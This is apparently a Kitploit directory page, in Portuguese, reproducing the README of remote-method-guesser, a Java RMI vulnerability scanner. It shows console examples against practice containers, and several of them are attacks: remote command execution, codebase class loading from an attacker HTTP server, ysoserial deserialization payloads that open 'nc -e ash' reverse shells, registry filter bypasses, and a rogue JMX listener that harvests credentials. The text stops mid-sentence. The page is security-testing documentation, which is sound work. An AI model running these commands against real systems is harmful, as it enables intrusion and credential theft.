Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
remote-method-guesser — Scanner de Vulnerabilidades Java RMI | Kitploit
Ferramentas/GitHubGitHub/qtc-de/remote-method-guesser
Scanners de VulnerabilidadesExploraçãoTestes de Penetração
GitHubqtc-de/remote-method-guesser

remote-method-guesser

Scanner de Vulnerabilidades Java RMI

Ver Repositório
930106há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Remote Method Guesser


maven CI maven CI

remote-method-guesser (rmg) é um scanner de vulnerabilidades Java RMI e pode ser usado para identificar e verificar vulnerabilidades de segurança comuns em endpoints Java RMI.

Exemplo do Remote Method Guesser

BHUSA Arsenal 2021

remote-method-guesser foi apresentado no Black Hat USA2021 durante as sessões do Arsenal. A gravação da sessão e os slides correspondentes estão disponíveis publicamente e podem ser encontrados através dos seguintes links:

  • Slides: https://www.slideshare.net/TobiasNeitzel/remotemethodguesser-bhusa2021-arsenal
  • Gravação: https://youtu.be/t_aw1mDNhzI

example server ssrf server spring server

O repositório do remote-method-guesser contém três servidores de exemplo que podem ser usados para praticar enumeração e ataques Java RMI. O rmg-example-server expõe serviços RMI regulares que podem ser enumerados e explorados usando o remote-method-guesser. O rmg-ssrf-server expõe um serviço HTTP vulnerável a ataques SSRF e executa serviços RMI que ouvem apenas em localhost. Isso pode ser usado para praticar com as opções --ssrf e --ssrf-response do remote-method-guesser. O spring-remoting-server expõe interfaces RMI criadas via Spring Remoting. Elas são um pouco diferentes do Java RMI regular e podem ser usadas para testar a integração associada do Spring Remoting do remote-method-guesser. Todos os servidores estão disponíveis como contêineres no GitHub Container Registry:

  • SSRF Server GitHub Package
  • Example Server GitHub Package
  • Spring Remoting Server GitHub Package

Índice


  • Instalação
  • Operações Suportadas
    • bind, rebind and unbind
    • call
    • codebase
    • enum
    • guess
    • known
    • listen
    • objid
    • roguejmx
    • scan
    • serial
  • Mais Recursos
  • Imagem Docker
  • Agradecimentos

Instalação


rmg é um projeto maven e a instalação deve ser simples. Com o maven instalado, basta executar os seguintes comandos para criar um arquivo .jar executável:```console $ git clone https://github.com/qtc-de/remote-method-guesser $ cd remote-method-guesser $ mvn package

root@kitploit:~
Você também pode usar pacotes pré-construídos que são criados para cada [release](https://github.com/qtc-de/remote-method-guesser/releases).
Pacotes pré-construídos para o branch de desenvolvimento são criados automaticamente e podem ser encontrados na *GitHub* [página de actions](https://github.com/qtc-de/remote-method-guesser/actions).

*rmg* não inclui *ysoserial* como dependência. Para habilitar o suporte a *ysoserial*, você precisa especificar o caminho
para o seu arquivo ``ysoserial.jar`` como argumento adicional (ex.: ``--yso /opt/ysoserial.jar``) ou alterar o
caminho padrão dentro do [arquivo de configuração do rmg](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/src/config.properties) antes de compilar o projeto.

*rmg* também suporta autocompletar para *bash*. Para aproveitar o autocompletar, você precisa ter o
projeto [completion-helpers](https://github.com/qtc-de/completion-helpers) instalado. Se configurado corretamente, apenas
copiar o [script de completar](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/resources/bash_completion.d/rmg) para sua pasta ``~/.bash_completion.d`` permite
o autocompletar.```console
$ cp resources/bash_completion.d/rmg ~/bash_completion.d/

Operações Suportadas


Na sequência, são apresentados breves exemplos para cada operação disponível. Para uma descrição mais detalhada, você deve ler a pasta de documentação que contém informações mais detalhadas sobre rmg e Java RMI em geral. Todos os exemplos apresentados são baseados no rmg-example-server e no rmg-ssrf-server. Ambos estão contidos neste repositório na pasta docker e podem ser usados para praticar enumeração de Java RMI. Você pode construir os contêineres correspondentes por conta própria ou carregá-los diretamente do GitHub Container Registry.```console [qtc@devbox ~]$ rmg -h usage: remote-method-guesser [-h] action ...

rmg v4.0.0 - a Java RMI Vulnerability Scanner

positional arguments: action
bind Binds an object to the registry thats points to listener call Regulary calls a method with the specified arguments codebase Perform remote class loading attacks enum Enumerate common vulnerabilities on Java RMI endpoints guess Guess methods on bound names known Display details of known remote objects listen Open ysoserials JRMP listener objid Print information contained within an ObjID rebind Rebinds boundname as object that points to listener roguejmx Creates a rogue JMX listener (collect credentials) scan Perform an RMI service scan on common RMI ports serial Perform deserialization attacks against default RMI components unbind Removes the specified bound name from the registry

named arguments: -h, --help show this help message and exit

root@kitploit:~
#### bind, rebind and unbind

Ao usar a ação ``bind``, ``rebind`` ou ``unbind``, é possível modificar os *nomes vinculados* disponíveis no *registro RMI*.
Isto é especialmente útil para verificar ``CVE-2019-2684``, que ignora as restrições de localhost e permite que usuários remotos realizem
operações de bind. Ao usar a ação ``bind`` ou ``rebind``, o *remote-method-guesser* vincula o *RemoteObject* ``javax.management.remote.rmi.RMIServerImpl_Stub``
por padrão, que é o *RemoteObject* usado por servidores *jmx*. Além disso, você precisa especificar o endereço do *endpoint TCP*
correspondente onde o *RemoteObject* pode ser encontrado (endereço para o qual os clientes devem se conectar ao tentar usar seu objeto vinculado).```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 11
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] 	- legacy-service
[+] 		--> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] 	- plain-server
[+] 		--> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]

[qtc@devbox ~]$ rmg bind 172.17.0.2 9010 127.0.0.1:4444 my-object --localhost-bypass 
[+] Binding name my-object to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] 	Encountered no Exception during bind call.
[+] 	Bind operation was probably successful.

[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 14
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] 	- my-object
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: 127.0.0.1:4444 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[+] 	- legacy-service
[+] 		--> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] 	- plain-server
[+] 		--> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]

Usando o Plugin System do remote-method-guesser, também é possível vincular objetos personalizados ao registro RMI. Para saber mais sobre o Plugin System, consulte a pasta de documentação.

call

Usando a ação call do remote-method-guesser, você pode invocar métodos remotos sem escrever nenhum código Java. Considere que o método String execute(String cmd) existe no servidor remoto. Este método parece promissor e você pode querer invocá-lo usando uma chamada RMI Java comum. Isso pode ser feito usando o seguinte comando:```console [qtc@devbox ~]$ rmg call 172.17.0.2 9010 '"wget 172.17.0.1:8000/worked"' --signature 'String execute(String cmd)' --bound-name plain-server [qtc@devbox www]$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.17.0.2 - - [30/Nov/2021 07:19:06] "GET /worked HTTP/1.1" 200 -

root@kitploit:~
Observe que chamar métodos remotos não cria nenhuma saída por padrão. Para processar saídas geradas pela ação ``call``, você precisa usar o [sistema de plugins](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/docs/rmg/plugin-system.md) do *remote-method-guesser* e registrar um ``ResponseHandler`` ou usar o plugin `GenericPrint` padrão. O `GenericPrint` está incluído no *remote-method-guesser* por padrão e pode ser ativado usando a opção `--show-response`.```console
[qtc@devbox remote-method-guesser]$ rmg call 172.17.0.2 9010 '"id"' --signature 'String execute(String cmd)' --bound-name plain-server --show-response
[+] uid=0(root) gid=0(root) groups=0(root)

Durante a ação call, os argumentos fornecidos são avaliados como expressão Java ao inseri-los no seguinte template: new Object[]{ arg1, arg2, arg3, ... }. Portanto, você precisa garantir que seus argumentos fornecidos se encaixem nesse padrão. Por exemplo, usar "id" como argumento resulta em erro, pois o argumento é passado como id para o remote-method-guesser e a expressão resultante new Object[]{ id } não é uma expressão Java válida. Em vez disso, você precisa usar '"id"', pois isso resulta em new Object[]{ "id" }, o que é válido.

Além disso, tipos primitivos precisam ser especificados em sua representação de objeto correspondente (por exemplo, new Integer(5) em vez de 5). Caso contrário, eles não podem ser usados dentro do array Object[], que é criado pela expressão Java. Durante a chamada RMI, os argumentos correspondentes são usados conforme pretendido e se encaixarão na sua assinatura de método especificada. Para casos de uso mais complexos, você também pode definir um ArgumentProvider personalizado usando o sistema de plugins do remote-method-guesser.

codebase

Java RMI suporta um recurso chamado codebases, onde o cliente e o servidor podem especificar URLs durante chamadas RMI que podem ser usados para carregar classes desconhecidas dinamicamente. Se um servidor RMI aceitar um codebase especificado pelo cliente, isso pode levar a execução remota de código quando o cliente fornece uma classe Java maliciosa durante a comunicação RMI.

A configuração de codebase em um servidor RMI pode ser diferente para os diferentes componentes: Activator, DGC, Registry e Application Level. O remote-method-guesser permite testar cada componente individualmente usando --signature <method> (application level), --component act (activator), --component dgc (distributed garbage collector) ou --component reg (RMI registry) juntamente com a ação codebase.

Application Level:```console [qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --signature "String login(java.util.HashMap dummy1)" --bound-name legacy-service [+] Attempting codebase attack on RMI endpoint... [+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during login call. [+] [+] Using non primitive argument type java.util.HashMap on position 0 [+] Specified method signature is String login(java.util.HashMap dummy1) [+] [+] Remote class loader attempted to load dummy class 267eaee13b9e46d2ada471016d693b14 [+] Codebase attack probably worked :) [+] [+] If where was no callback, the server did not load the attack class ExampleClass.class. [+] The class is probably known by the server or it was already loaded before. [+] In this case, you should try a different classname.

[qtc@devbox www]$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.17.0.2 - - [30/Nov/2021 07:23:39] "GET /ExampleClass.class HTTP/1.1" 200 - 172.17.0.2 - - [30/Nov/2021 07:23:39] "GET /267eaee13b9e46d2ada471016d693b14.class HTTP/1.1" 404 -

root@kitploit:~
*RMI Registry*:```console
[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component reg
[+] Attempting codebase attack on RMI Registry endpoint...
[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during lookup call.
[+]
[+] 	Caught ClassCastException during codebase attack.
[+] 	Codebase attack most likely worked :)

[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:26:09] "GET /ExampleClass.class HTTP/1.1" 200 -

Coletor de Lixo Distribuído:```console [qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component dgc [+] Attempting codebase attack on DGC endpoint... [+] Using class Example with codebase http://172.17.0.1:8000/ during clean call. [+] [+] Caught ClassCastException during codebase attack. [+] Codebase attack most likely worked :)

[qtc@devbox www]$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.17.0.2 - - [30/Nov/2021 07:26:53] "GET /ExampleClass.class HTTP/1.1" 200 -

root@kitploit:~
*Activator*:```console
[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component act
[+] Attempting codebase attack on Activator endpoint...
[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during activate call.
[+]
[+] 	Caught IllegalArgumentException during codebase attack.
[+] 	Codebase attack was probably successful :)

[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:27:13] "GET /ExampleClass.class HTTP/1.1" 200 -

enum

A ação enum realiza várias verificações no endpoint Java RMI especificado e imprime os resultados correspondentes. Para uma explicação mais detalhada sobre a saída gerada pela ação enum, você pode ler a página de documentação correspondente.```console [qtc@devbox ~]$ rmg enum 172.17.0.2 9010 [+] RMI registry bound names: [+] [+] - plain-server2 [+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff7, -3079588349672331489] [+] - legacy-service [+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class) [+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ffc, -2969569395601583761] [+] - plain-server [+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff8, 1319708214331962145] [+] [+] RMI server codebase enumeration: [+] [+] - http://iinsecure.example/well-hidden-development-folder/ [+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub [+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer [+] [+] RMI server String unmarshalling enumeration: [+] [+] - Caught ClassNotFoundException during lookup call. [+] --> The type java.lang.String is unmarshalled via readObject(). [+] Configuration Status: Outdated [+] [+] RMI server useCodebaseOnly enumeration: [+] [+] - Caught MalformedURLException during lookup call. [+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false). [+] Configuration Status: Non Default [+] [+] RMI registry localhost bypass enumeration (CVE-2019-2684): [+] [+] - Caught NotBoundException during unbind call (unbind was accepeted). [+] Vulnerability Status: Vulnerable [+] [+] RMI Security Manager enumeration: [+] [+] - Security Manager rejected access to the class loader. [+] --> The server does use a Security Manager. [+] Configuration Status: Current Default [+] [+] RMI server JEP290 enumeration: [+] [+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed). [+] Vulnerability Status: Non Vulnerable [+] [+] RMI registry JEP290 bypass enumeration: [+] [+] - Caught IllegalArgumentException after sending An Trinh gadget. [+] Vulnerability Status: Vulnerable [+] [+] RMI ActivationSystem enumeration: [+] [+] - Caught IllegalArgumentException during activate call (activator is present). [+] --> Deserialization allowed - Vulnerability Status: Vulnerable [+] --> Client codebase enabled - Configuration Status: Non Default

root@kitploit:~
#### guess

Ao usar a ação ``guess``, o *remote-method-guesser* tenta identificar métodos remotos existentes enviando hashes de métodos para o servidor remoto. Esta operação requer uma wordlist que contenha as definições de método correspondentes. O *remote-method-guesser* inclui algumas wordlists padrão que são incorporadas ao arquivo ``.jar`` durante a fase de compilação. Você pode sobrescrever as localizações das wordlists modificando o [arquivo de configuração do rmg](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/src/config.properties) ou usando as opções ``--wordlist-file`` ou ``--wordlist-folder``. Métodos com zero argumentos são ignorados durante a adivinhação, pois eles levam a chamadas reais de métodos no lado do servidor. Você pode ativar a adivinhação em métodos com zero argumentos usando a opção ``--zero-arg``.```console
[qtc@devbox ~]$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

known

Ao realizar a ação enum, o remote-method-guesser marca os bound names disponíveis no RMI registry sempre como known ou como unknown. Esta decisão depende da classe implementada pelo bound name correspondente e se a classe correspondente está contida na lista de endpoints conhecidos que está contida no repositório do remote-method-guesser. Quando um bound name é marcado como known, você pode usar a ação known na classe correspondente. Isso retorna informações sobre a classe correspondente, como os métodos remotos disponíveis, uma descrição geral e possíveis vulnerabilidades:```console [qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 5 [+] RMI registry bound names: [+] [+] - jmxrmi [+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server) [+] Endpoint: iinsecure.example:41991 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]

[qtc@devbox ~]$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] Name: [+] JMX Server [+] [+] Class Name: [+] - javax.management.remote.rmi.RMIServerImpl_Stub [+] - javax.management.remote.rmi.RMIServer [+] [+] Description: [+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine. [+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient [+] method usually passing a HashMap that contains connection options (e.g. credentials). The return [+] value (RMIConnection object) is another remote object that is when used to perform JMX related [+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id. [+] [+] Remote Methods: [+] - String getVersion() [+] - javax.management.remote.rmi.RMIConnection newClient(Object params) [+] [+] References: [+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html [+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi [+] [+] Vulnerabilities: [+] [+] ----------------------------------- [+] Name: [+] MLet [+] [+] Description: [+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load [+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean [+] is therefore most of the time equivalent to remote code execution. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter [+] [+] ----------------------------------- [+] Name: [+] Deserialization [+] [+] Description: [+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient [+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the [+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can [+] establish a working JMX connection, you can also perform deserialization attacks. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter

root@kitploit:~
A lista de classes conhecidas, sua descrição e a lista de vulnerabilidades conhecidas está longe de estar completa.
Espera-se que cresça no futuro e seja impulsionada pela contribuição de outros usuários. Se você encontrar um *RMI endpoint*
que implementa uma classe atualmente ausente e tiver informações suficientes (descrição e métodos disponíveis),
sinta-se à vontade para criar uma issue ou pull request.


#### listen

Às vezes é necessário fornecer um *JRMPListener* malicioso, que serve payloads de desserialização
para conexões *RMI* recebidas. Escrever tal listener do zero não é necessário, pois já é fornecido pelo
[projeto ysoserial](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPListener.java).
*remote-method-guesser* fornece um wrapper em torno da implementação do *ysoserial*, que permite gerar um *JRMPListener*
usando a sintaxe usual do *rmg*:```console
[qtc@devbox ~]$ rmg listen 0.0.0.0 4444 CommonsCollections6 "touch /dev/shm/test"
[+] Creating ysoserial payload... done.
[+] Creating a JRMPListener on 0.0.0.0:4444.
[+] Handing off to ysoserial...

objid

A ação objid pode ser usada para exibir informações mais detalhadas sobre um ObjID. Cada RemoteObject recebe um ObjID quando é exportado pelo RMI runtime. O conhecimento do valor do ObjID é necessário para se comunicar com um RemoteObject, que é também a razão pela qual você geralmente precisa de um RMI registry. O RMI registry contém o ObjID para cada bound name e o remote-method-guesser os exibe durante a ação enum.```console [qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n11 [+] RMI registry bound names: [+] [+] - plain-server2 [+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646] [+] - legacy-service [+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class) [+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ffc, 625759208507801754] [+] - plain-server [+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff8, -6355415622579283910]

root@kitploit:~
``ObjID`` valores consistem em diferentes componentes. Esses componentes são exibidos em formato legível por humanos ao
usar a ação ``objid`` no ``ObjID`` correspondente:```console
[qtc@devbox ~]$ rmg objid '[-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]'
[+] Details for ObjID [-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]
[+]
[+] ObjNum: 		1096154566158180646
[+] UID:
[+] 	Unique: 	-734386537
[+] 	Time: 		1638254048332 (Nov 30,2021 07:34)
[+] 	Count: 		-32759

A maior parte das informações exibidas não é tão útil, mas o valor Time pode ser interessante. Este valor contém o momento em que o RemoteObject foi criado. Portanto, permite determinar coisas como o tempo de atividade de um servidor RMI.

scan

Às vezes você identifica serviços que costumam vir com componentes Java RMI (JBoss, Solr, Tomcat, ...), mas não deseja realizar uma varredura completa de portas no host correspondente. Nessas situações, a ação scan pode ser útil. Ela realiza uma varredura rápida de portas apenas para portas RMI comuns e tenta identificar serviços RMI nelas:```console [qtc@devbox ~]$ rmg scan 172.17.0.2 [+] Scanning 112 Ports on 172.17.0.2 for RMI services. [+] [+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC) [+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC) [+] [119 / 119] [#############################] 100% [+] [+] Portscan finished.

root@kitploit:~
Por padrão, as ações de verificação usam uma lista pré-configurada de *portas RMI* comuns. Para personalizar a lista de portas a serem verificadas,
você pode usar a opção ``--ports``. Esta opção aceita números simples e intervalos numéricos para especificações de portas.
O caractere traço (``-``) pode ser usado para referenciar a lista de portas padrão.```console
[qtc@devbox ~]$ rmg scan 172.17.0.2 --ports 0-100 1000-1100 9000-9020 35000-36000 40000-45000
[+] Scanning 6225 Ports on 172.17.0.2 for RMI services.
[+]
[+] 	[HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC)
[+] 	[HIT] Found RMI service(s) on 172.17.0.2:1090  (Registry, DGC)
[+] 	[HIT] Found RMI service(s) on 172.17.0.2:9010  (Registry, Activator, DGC)
[+] 	[6234 / 6234] [#############################] 100%
[+]
[+] Portscan finished.

Observe que a ação scan é implementada de forma simples e não confiável. Se possível, você deve sempre realizar uma varredura de portas dedicada usando ferramentas como nmap. No entanto, a ação scan pode fornecer um aviso rápido sobre a localização de portas RMI.

roguejmx

A ação roguejmx cria um listener JMX no seu sistema que captura credenciais de conexões recebidas. Após criar o listener, o remote-method-guesser exibe o valor ObjID que é necessário para interagir com ele.```console [qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 [+] Statring RogueJMX Server on 172.17.0.1:4444 [+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]

root@kitploit:~
Usando as operações ``bind`` e ``rebind`` você pode injetar este listener em um *RMI registry* e aguardar outros usuários se conectarem ao seu servidor:```console
[qtc@devbox ~]$ rmg bind 172.17.0.2 9010 172.17.0.1:4444 jmxrmi --bind-objid '[6633018:17cb5d1bb57:-7ff8, -8114172517417646722]' --localhost-bypass
[+] Binding name jmxrmi to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] 	Encountered no Exception during bind call.
[+] 	Bind operation was probably successful.

[qtc@devbox ~]$ jconsole # Connect to 172.17.0.2:9010 with credentials

Conexões de entrada são registradas pelo listener:```console [qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 [+] Statring RogueJMX Server on 172.17.0.1:4444 [+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722] [+] [+] Got incoming call for newClient(...) [+] Username: admin [+] Password: s3crEt!

root@kitploit:~
*remote-method-guesser* usa o valor *ObjID* ``[6633018:17cb5d1bb57:-7ff8, -8114172517417646722]`` por padrão para operações de *bind*
e para o servidor *JMX* malicioso (rogue). Especificar o *ObjID* manualmente como mostrado acima não é, portanto, necessário. Você pode alterar o valor padrão
*ObjID* via argumentos de linha de comando ou através do arquivo de configuração do *remote-method-guesser*.

O servidor *JMX* malicioso (rogue) retorna uma exceção de acesso (credenciais inválidas) para cada conexão recebida por padrão, mas
você também pode encaminhar conexões recebidas para uma instância *JMX* diferente. Isso possibilita obter credenciais
de conexões de clientes recebidas sem interromper nenhum serviço. Para encaminhar conexões, você deve especificar o
alvo correspondente como um argumento adicional. Os alvos podem ser especificados de duas maneiras diferentes:

1. O endereço IP e a porta de um registro RMI juntamente com o nome vinculado da instância *JMX* correspondente:  ```console
  [qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 --forward-host 172.17.0.2 --forward-port 9010 --forward-bound-name jmxrmi 
  [+] Statring RogueJMX Server on 172.17.0.1:4444
  [+] 	--> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
  [+] 	--> Forwarding connections to: 172.17.0.2:9010:jmxrmi
  [+]
  1. O endereço IP e porta do serviço JMX juntamente com seu valor ObjID: ```console [qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 --forward-host 172.17.0.2 --forward-port 41001 --forward-objid '[-40935072:17cd9fc77c4:-7ff8, 6731522247396892423]' [+] Statring RogueJMX Server on 172.17.0.1:4444 [+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722] [+] --> Forwarding connections to: 172.17.0.2:41001:[-40935072:17cd9fc77c4:-7ff8, 6731522247396892423] [+]
root@kitploit:~
#### serial

*Java RMI* usa *objetos serializados do Java* na comunicação cliente-servidor. Isso o torna potencialmente vulnerável a *ataques de desserialização*. Esses ataques podem atingir diferentes *componentes RMI*:

* Componentes *RMI* conhecidos (*internos do RMI*)
* *Registro RMI*
* *DGC*
* *Ativador*
* *RemoteObjects* definidos pelo usuário (*nível de aplicação*)

##### Componentes RMI Conhecidos

Enquanto *servidores RMI* modernos aplicam *filtros de desserialização* nesses *componentes RMI conhecidos* (*JEP290*), servidores mais antigos ainda podem ser vulneráveis a *ataques de desserialização*. O *remote-method-guesser* permite verificar isso usando a ação ``serial``, que pode realizar ataques de desserialização no *Ativador*, *Coletor de Lixo Distribuído* (*DGC*) ou no *registro RMI*.```console
[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --component reg
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] 	Caught ClassCastException during deserialization attack.
[+] 	Deserialization attack was probably successful :)

[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:46209.
id
uid=0(root) gid=0(root) groups=0(root)

Em caso do registro RMI, os filtros de desserialização podem ser contornados usando os gadgets de bypass JRMPClient ou An Trinh. Esses gadgets criam um canal RMI de saída que não aplica mais filtros de desserialização. Neste canal, ataques de desserialização podem ser aplicados normalmente, mas ambos os bypasses foram corrigidos nas versões mais recentes do Java RMI.```console [qtc@devbox ~]$ rmg serial 172.17.0.2 9010 AnTrinh 172.17.0.1:4444 --component reg [+] Attempting deserialization attack on RMI Registry endpoint... [+] [+] Caught javax.management.BadAttributeValueExpException during deserialization attack. [+] This could be caused by your gadget an the attack probably worked anyway. [+] If it did not work, you can retry with --stack-trace to see the details.

[qtc@devbox ~]$ rmg listen 172.17.0.1 4444 CommonsCollections6 'nc 172.17.0.1 4445 -e ash' [+] Creating ysoserial payload... done. [+] Creating a JRMPListener on 172.17.0.1:4444. [+] Handing off to ysoserial... Have connection from /172.17.0.2:55470 Reading message... Sending return with payload for obj [0:0:0, 123] Closing connection

[qtc@devbox ~]$ nc -vlp 4445 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4445 Ncat: Listening on 0.0.0.0:4445 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:45429. id uid=0(root) gid=0(root) groups=0(root)

root@kitploit:~
Durante sua ação ``enum``, o *remote-method-guesser* informa você se um *Activator* está presente em um *endpoint RMI* (componente *RMI* legado).
A implementação padrão para o *sistema de Activation* não implementa nenhum filtro de desserialização para o *Activator RemoteObject*. Portanto,
